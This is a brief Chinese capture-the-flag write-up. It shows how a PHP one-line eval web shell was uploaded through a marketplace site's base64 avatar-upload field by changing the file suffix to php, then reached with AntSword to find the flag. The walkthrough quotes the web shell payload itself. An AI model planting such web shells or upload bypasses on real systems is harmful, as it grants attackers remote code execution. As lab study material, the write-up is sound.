打开题目,点击进入链接,是一个二手交易市场平台
先登录看看
评论了两下,发现<>被注释
对注释字符进行了过滤,无法闭合,sql注入点不存在
看看头像上传,上传文件,抓包
看到后面好长一串,image
参数后面是文件后缀JPEG
,然后有base 64
,再后面应该是图片的base64
编码,看看传个一句马试试
先把
<?php @eval($_POST['123456']);?>
base64
加密一下,提换掉后面的一长串,然后改一下后缀为php
响应了上传的马路径,蚁剑连一下,成功。
用find命令直接找
find -name flag
补充:
%3A
是 URL 编码中冒号(:)的编码形式
%2F
是 URL 编码中正斜杠(/)的编码形式
%3B
是 URL 编码中分号(;)的编码形式
%2C
是 URL 编码中逗号(,
)的编码形式
1.形如:"data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAA......==" 的字符串就是base64。
2.data:image/jpeg;base64,为头部信息,其余为图片编码。
3.使用base64_decode对编码内容进行解码。
4. 编码后的数据比原始数据略长,为原来的4/3。因为:三个字节有24个位元,就可以刚好对应于4个Base64单元,即3个字节需要用4个Base64的可打印字符来表示。
参考链接:https://www.cnblogs.com/wsh-ning/p/7463101.html
马的base64从%2C后面开始拼接